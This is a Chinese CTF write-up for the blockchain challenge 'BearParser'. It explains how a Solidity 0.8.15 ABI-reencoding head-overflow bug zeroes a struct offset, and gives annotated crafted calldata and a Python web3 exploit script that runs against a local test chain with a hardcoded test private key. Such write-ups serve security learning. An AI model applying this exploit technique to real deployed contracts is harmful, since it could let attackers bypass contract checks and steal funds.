祥云杯 Blockchain-BearParser

分析

首先看到sodility 0.8.15就会想到tctf中出现的abi编码漏洞,然后看到题目有两个函数,一个chall1有三个限制。

        require(hashCompareWithLengthCheckInternal(inputs.bear.reason,string(inputs.kabi.name)),"guessname1error");
        require(inputs.bear.guess%60719==60226&&inputs.bear.guess%60226==41958,"numbererror");
        require(inputs.kabi.id==inputs.kabi.go);

但这三个限制其实很好满足

  • 要满足第一个限制我们可以传一个bytes为0x4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e,然后传一个相应的字符串NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN。注意必须得满32bytes,不然经过bytes转string会出现下面这种问题

  • 第二个条件直接中国剩余定理算出来满足结果的guess为1874455756

  • 第三个直接传相等的值即可

至此我们还有最后一个变量没有设置就是inputs.bear.named,很明显它需要在chall2里用到,其实在chall2中它其实就是通过汇编获取到结构体里面的不同变量而已。

而最终需要控制的两个变量是kabi.namebear.named

    kabiname:=calldataload(add(add(off_sskabi,0x84),0x80))         
    bearnamed:=calldataload(add(off_bear,0x84))                    
    .................................
    require(kabiname==bearnamed,"guessname2error");

而正常来讲现在这两个值一个是4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e一个是我们可以控制的,但如果你给bear.named也设置为4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e。此时你认为应该是相等的但实际上并不相等。

所以这里就需要用到Head Overflow Bug in Calldata Tuple ABI-Reencoding这个abi编码漏洞了。

通俗来说,就是如果一个结构体中间有一个变长的结构,比如string或者bytes,那么他在第二次打包的时候会出现bug,导致结构体的第一个字段被改成0.

我们观察一下这里的abi结构,很明显遇到bytes32[2] calldata hole会触发漏洞导致清零。

所以在chall2汇编中获取到的off_sskabi并不是原本的0x40而是0x00。 这样在后面利用off_sskabi获取到的kabiname也不会是原本的kabiname的值0x4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e。经过计算你能知道最终取到的是offset inputs.kabi.name bytes也就是0x60。所以我们最终应该将bear.named设置为0x60

kabiname:=calldataload(add(add(off_sskabi,0x84),0x80))

攻击

最终的calldata

// begin: 1
// [["111","111","0x4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e"],["96","1874455756","NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN"]]
// ["0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000001"]
// 0x26ad1593
// 0000000000000000000000000000000000000000000000000000000000000001 bool 
// 0000000000000000000000000000000000000000000000000000000000000080 offset huhu
// 0000000000000000000000000000000000000000000000000000000000000001 bytes32[2] calldata hole[0]
// 0000000000000000000000000000000000000000000000000000000000000001 bytes32[2] calldata hole[1]
// 0000000000000000000000000000000000000000000000000000000000000040 offset huhu.kabi
// 00000000000000000000000000000000000000000000000000000000000000e0 offset huhu.bear 
// 000000000000000000000000000000000000000000000000000000000000006f value inputs.kabi.id uint
// 000000000000000000000000000000000000000000000000000000000000006f value inputs.kabi.go uint
// 0000000000000000000000000000000000000000000000000000000000000060 offset inputs.kabi.name bytes
// 0000000000000000000000000000000000000000000000000000000000000020 length inputs.kabi.name bytes
// 4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e value inputs.kabi.name bytes
// 0000000000000000000000000000000000000000000000000000000000000060 inputs.bear.named uint
// 000000000000000000000000000000000000000000000000000000006fb9eccc inputs.bear.guessed uint
// 0000000000000000000000000000000000000000000000000000000000000060 offset inputs.bear.reason string
// 0000000000000000000000000000000000000000000000000000000000000020 length inputs.bear.reason string
// 4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e value inputs.bear.reason string

调用结果

攻击脚本

import solcx
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *

def generate_tx(chainID, to, data, value):
    # print(web3.eth.gasPrice)
    # print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(account_address),
        'to': to,
        'gasPrice': web3.eth.gasPrice ,
        'gas': 672197400,
        'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    # print(txn)
    return txn

def sign_and_send(txn):
    signed_txn = web3.eth.account.signTransaction(txn, private_key)
    txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
    # print("txn_hash=", txn_hash)
    return txn_receipt

def deploy_Bearparse():
    compiled_sol = compile_files(["source1.sol"],output_values=["abi", "bin"],solc_version="0.8.15")
    data = compiled_sol['source1.sol:Bearparse']['bin']
    # print(data)
    txn = generate_tx(chain_id, '', data, 0)
    txn_receipt = sign_and_send(txn)
    attack_abi = compiled_sol['source1.sol:Bearparse']['abi']
    # print(txn_receipt)
    if txn_receipt['status'] == 1:
        attack_address = txn_receipt['contractAddress']
        return attack_address,attack_abi
    else:
        exit(0)

if __name__ == '__main__':
    # exp()
    solcx.install_solc('0.8.15')
    rpc = "http://127.0.0.1:8545"
    web3 = Web3(HTTPProvider(rpc))
    private_key = 'bf5ff7715bc9032911a0c50f84b4f4cf5c533fd66539e626a96c4ea6d6e3af55'
    acct = web3.eth.account.from_key(private_key)
    account_address = acct.address
    chain_id = 5777
    print("[+] account_address is " + str(account_address))
    print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))

    Bearparse_address,Bearparse_abi = deploy_Bearparse()
    Bearparse_instance = web3.eth.contract(address=Bearparse_address, abi=Bearparse_abi)
    print(Bearparse_instance.all_functions())

    #chall1(bool begin,huhu calldata inputs,bytes32[2] calldata hole)
    functionSign = HexBytes(web3.sha3(text='chall1(bool,tuple(tuple(uint256,uint256,bytes),tuple(uint256,uint256,string)),bytes32[2])')).hex()[0:10]
    calldata='0x26ad15930000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000006f000000000000000000000000000000000000000000000000000000000000006f000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000204e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000006fb9eccc000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000204e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e'
    chall1_addr = generate_tx(chain_id, Bearparse_address,calldata,0)
    flag = sign_and_send(chall1_addr)
    # print(flag["logs"])
    print(Bearparse_instance.events.SendFlag().processLog(flag["logs"][0]))